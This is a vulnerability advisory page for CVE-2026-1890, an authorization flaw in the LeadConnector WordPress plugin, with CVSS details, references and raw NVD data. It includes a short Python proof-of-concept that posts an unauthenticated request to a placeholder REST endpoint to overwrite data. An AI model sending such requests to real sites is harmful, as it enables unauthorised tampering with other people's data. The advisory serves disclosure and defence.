CVE-2026-1890

Description

The LeadConnector WordPress plugin before 3.0.22 does not have authorization in a REST route, allowing unauthenticated users to call it and overwrite existing data

CVSS Details

CVSS Score

5.3

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N

Configurations (Affected Products)

No configuration data available.

LeadConnector WordPress Plugin < 3.0.22

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

import requests

# Target URL of the vulnerable WordPress site REST endpoint
# Note: The exact endpoint path depends on the plugin's implementation
target_url = "http://target-wordpress-site.com/wp-json/leadconnector/v1/sensitive-endpoint"

# Malicious payload designed to overwrite existing data
payload = {
    "id": 1,
    "data": "Overwritten by attacker"
}

try:
    # Send POST request without authentication headers (PR:N)
    response = requests.post(target_url, json=payload)

    # Check if the request was successful (HTTP 200 OK)
    if response.status_code == 200:
        print("[+] Exploit successful! Data has been overwritten.")
        print("[+] Response:", response.text)
    else:
        print(f"[-] Exploit failed. Status code: {response.status_code}")
        print("[-] Response:", response.text)

except requests.exceptions.RequestException as e:
    print(f"[!] Error connecting to target: {e}")

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-1890
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-1890
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-1890/
[4] VulDB https://vuldb.com/cve/CVE-2026-1890
[5] https://wpscan.com/vulnerability/9b88be70-b5cc-4a3f-a871-64d61cb02076/

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-1890", "sourceIdentifier": "[email protected]", "published": "2026-03-26T07:16:19.907", "lastModified": "2026-04-15T15:05:47.827", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The LeadConnector WordPress plugin before 3.0.22 does not have authorization in a REST route, allowing unauthenticated users to call it and overwrite existing data"}, {"lang": "es", "value": "El plugin de WordPress LeadConnector anterior a la versión 3.0.22 no tiene autorización en una ruta REST, lo que permite a usuarios no autenticados llamarla y sobrescribir datos existentes."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N", "baseScore": 5.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 1.4}]}, "references": [{"url": "https://wpscan.com/vulnerability/9b88be70-b5cc-4a3f-a871-64d61cb02076/", "source": "[email protected]"}]}}